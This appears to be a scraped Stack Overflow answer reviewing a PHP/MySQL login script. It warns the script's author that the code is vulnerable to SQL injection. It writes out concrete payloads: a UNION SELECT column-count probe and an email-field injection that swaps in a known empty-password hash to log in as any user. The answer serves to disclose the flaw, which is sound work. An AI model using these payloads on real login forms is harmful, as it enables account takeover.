Note that there are some explanatory texts on larger screens.

plurals
  1. PO
    primarykey
    data
    text
    <p>Similar to <a href="https://stackoverflow.com/a/10587959/53114">sivann</a>, I can’t see the reason for the additional <em>spanel_token</em> either. All it seems to effectively do is to ensure that the session is no longer valid after the token’s expiration time. Since both values for <em>token</em> and <em>user_id</em> for the <code>WHERE</code> condition are stored in the session and are only set during the login, they won’t change. <a href="https://stackoverflow.com/a/1270960/53114">But session expiration can be implemented much easier.</a></p> <hr> <p>But apart from that and much more important: your code is vulnerable to SQL injection. It would be easy with the knowledge you’ve posted here. All you need is to do the following steps:</p> <ul> <li><p>Find out the number of columns of <em>users</em> with a <code>UNION SELECT</code> injection in <em>email</em>:</p> <pre><code>' UNION SELECT null, …, null WHERE ''=' </code></pre> <p>If the wrong number of columns is entered, your script will throw a MySQL error, otherwise the “Login Failed.” will appear. Thanks for that.</p></li> <li><p>By using the following query:</p> <pre><code>SELECT t1.* FROM users t1 RIGHT JOIN (SELECT email, '000000000000000000000000000000000000000000000000000000000000000060e05bd1b195af2f94112fa7197a5c88289058840ce7c6df9693756bc6250f55' hash FROM users LIMIT 1) t2 USING (email); </code></pre> <p>the value <code>000000000000000000000000000000000000000000000000000000000000000060e05bd1b195af2f94112fa7197a5c88289058840ce7c6df9693756bc6250f55</code> is injected into each record instead of the original <em>hash</em> column value. The leading <code>0</code>s are the salt and the remaining string is the salted SHA-256 hash value for an empty password string, which will result in a valid password.</p> <p>So we end up with entering an empty string for the <em>password</em> field and the following for the <em>email</em> field:</p> <pre><code>' UNION SELECT t2.* FROM users t1 RIGHT JOIN (SELECT email, '000000000000000000000000000000000000000000000000000000000000000060e05bd1b195af2f94112fa7197a5c88289058840ce7c6df9693756bc6250f55' hash FROM users LIMIT 1) t2 USING (email) WHERE ''=' </code></pre></li> </ul> <p>This should suffice to get ‘authenticated’ as any user.</p>
    singulars
    1. This table or related slice is empty.
    plurals
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    1. VO
      singulars
      1. This table or related slice is empty.
 

Querying!

 
Guidance

SQuiL has stopped working due to an internal error.

If you are curious you may find further information in the browser console, which is accessible through the devtools (F12).

Reload